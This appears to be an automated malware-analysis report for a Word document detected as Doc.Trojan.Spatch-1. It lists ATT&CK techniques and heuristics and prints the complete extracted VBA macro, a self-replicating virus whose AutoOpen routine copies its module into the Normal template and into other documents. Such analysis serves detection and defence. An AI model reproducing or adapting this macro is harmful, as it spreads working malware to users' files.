MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a malicious Office document containing a VBA macro. The AutoOpen macro is designed to execute automatically when the document is opened. It attempts to export its own code to 'C:\Tmp.bas' and then import it into the Normal template, which is a common technique for achieving persistence or spreading the macro to other documents. The presence of the 'OLE_VBA_AUTOOPEN' and 'OLE_VBA_MACROS' heuristics, along with ClamAV detection, confirms its malicious nature.
Heuristics 4
-
ClamAV: Doc.Trojan.Spatch-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Spatch-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2157 bytes |
SHA-256: f202c7afff8b76988faa4ad98bd1ec11ce437ebd8a4d2c46e9f8098294a9f011 |
|||
|
Detection
ClamAV:
Doc.Trojan.Spatch-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "SpoolWatch"
Public Sub AutoOpen()
Options.VirusProtection = True
RepToNormal
RepToDocs
End Sub
'Public Sub FileSave()
' Options.VirusProtection = False
' RepToDocs
' ActiveDocument.Save
'End Sub
Public Sub RepToNormal()
Dim ModuleName As String, TMPFile As String
Dim ModuleExists As Boolean, TMPExists As Boolean
TMPFile = "C:\Tmp.bas"
TMPExists = False
ModuleName = "SpoolWatch"
For Each VBC In ActiveDocument.VBProject.VBComponents
If VBC.Name = ModuleName Then
VBC.Export (TMPFile)
TMPExists = True
End If
Next VBC
ModuleExists = False
For Each VBC In Application.NormalTemplate.VBProject.VBComponents
If VBC.Name = ModuleName Then
ModuleExists = True
End If
Next VBC
If Not ModuleExists Then
Application.NormalTemplate.VBProject.VBComponents.import (TMPFile)
Application.NormalTemplate.Save
End If
If TMPExists Then FileSystem.Kill (TMPFile)
End Sub
Public Sub RepToDocs()
Dim ModuleName As String, TMPFile As String
Dim ModuleExists As Boolean, TMPExists As Boolean
TMPFile = "C:\Tmp.bas"
TMPExists = False
ModuleName = "SpoolWatch"
For Each VBC In Application.NormalTemplate.VBProject.VBComponents
If VBC.Name = ModuleName Then
VBC.Export (TMPFile)
TMPExists = True
End If
Next VBC
ModuleExists = False
For Each VBC In Application.ActiveDocument.VBProject.VBComponents
If VBC.Name = ModuleName Then
ModuleExists = True
End If
Next VBC
If Not ModuleExists Then
Application.ActiveDocument.VBProject.VBComponents.import (TMPFile)
Application.ActiveDocument.Save
End If
If TMPExists Then FileSystem.Kill (TMPFile)
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.